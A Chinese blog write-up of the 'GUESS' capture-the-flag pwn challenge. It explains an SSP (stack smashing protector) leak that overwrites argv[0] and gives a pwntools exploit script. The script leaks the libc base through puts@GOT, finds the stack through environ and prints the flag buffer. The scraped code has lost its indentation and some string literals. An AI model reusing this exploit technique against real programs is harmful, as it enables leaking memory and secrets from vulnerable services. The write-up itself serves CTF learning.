pwn-GUESS
参考了其他wp之后才慢慢做出来的 记录一下
首先checksec一下 有canary

放到IDA看下源码

运行流程大概是 有三个fork 即三次输入机会,于是无法爆破cannary
本题用的是SSP leak,当canary被覆盖是就会触发__stack_chk_fail函数,其中会打印字符串argv[0],覆盖它就能实现任意地址读

源码中有open("./flag.txt")即已经读到缓冲区,需要打印buf中flag值
思路:有三次输入机会(提前计算出offset)
1:利用puts函数leak出libc基地址
2:计算出stack上的环境变量environ的实际地址
3:算出environ与buf中flag的偏移量,打印flag
其中,断点打在gets函数和environ变量上


可以算出buf与environ的差值:0x7fffffffe018 - 0x7fffffffdeb0 = 0x168
exp:
from pwn import *
elf = ELF('./GUESS')
libc = ELF('./libc6_2.19-0ubuntu6.14_amd64.so')
def get_offset():
for i in range(0x80,0x180):
p = elf.process()
p.recvuntil('flag\n')
p.sendline(''*i+p64(0x0400C90))
p.recvline()
x = p.recvline()
p.close()
if "six" in x:
print hex(i),x
exit(0)
def leak_data(p,addr):
p.recvuntil("flag\n")
p.sendline("" * 0x128 + p64(addr) )
p.recvuntil('***: ')
def leak_address(p,address):
leak_data(p,address)
leak = u64(p.recv(6) + '\x00' * 2)
return leak
p = elf.process()
#1:
libc_address = leak_address(p,elf.got['puts']) - libc.symbols['puts']
info('libc: ' + hex(libc_address))
#2:
environ_address = libc.symbols['environ'] + libc_address
environ = leak_address(p,environ_address)
info('stack address : ' + hex(environ))
#3:
flag_address = environ - 0x168
leak_data(p,flag_address)
print p.recvline()
pwn-GUESS的更多相关文章
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
- kernel pwn 入门环境搭建
刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要 ...
随机推荐
- ASP.NET没有魔法——目录(完结)
ASP.NET没有魔法——开篇-用VS创建一个ASP.NET Web程序 ASP.NET没有魔法——为什么使用ASP.NET ASP.NET没有魔法——第一个ASP.NET应用<MyBlog&g ...
- django xadmin 1不在可用的选项中
报错:1不在可用的选项中 解决办法: 对CharField的choices的选项, gender = models.CharField(max_length=, choices=((, , " ...
- postman的简单使用
Postman简单的使用 什么是Postman 在程序开发中用于调试网络程序或者跟踪网页请求.可以对网页进行简单的基本信息调试.Postman最早是作用chrome浏览器插件存在的,但是2018年初 ...
- xtrabackup备份mysql数据库方法
1.安装 xtrabackup 工具包 下载percona yum源 https://www.percona.com/redir/downloads/percona-release/redhat/pe ...
- 周一02.4变量&垃圾回收机制
一.变量 1. 什么是变量 量:记录事物的某种状态,即事物典型的特征 变:事物的状态是可以发生变化的 2. 为何要用变量 是为了让计算机能够像人一样记录事物的状态 3. 如何用变量 (先定义后引用) ...
- RubyGems系列之RubyGems初识
转载请标明来源:https://www.cnblogs.com/zhanggui/p/9719291.html 一. 基础理解 RubyGems简称gems,它是一个用于对Ruby组件进行打包的Rub ...
- pyspider 初次使用
一 安装 pip install pyspider 请安装PhantomJS:http://phantomjs.org/build.html 二 检验是否启动成功 cmd中输入: pyspider 安 ...
- vue笔记未整理
全局组件 局部组件 子组件传值到父组件 父子组件传值 watch跟计算属性差不多,都会有缓存,计算属性优先 计算属性get set 对象 数组 对象 数组 不复用 改变数组 直接修改数组,页面没变化 ...
- python学习——读取染色体长度(一、简化问题)
# 读取fasta # 解析每条序列的长度 chr1_len = 10 chr2_len = 20 chr3_len = 30 chr4_len = 40 chr5_len = 50 # 求和 tot ...
- JProfiler的详细使用介绍
转:https://blog.csdn.net/huangjin0507/article/details/52452946 下载软件 官网地址:http://www.ej-technologies.c ...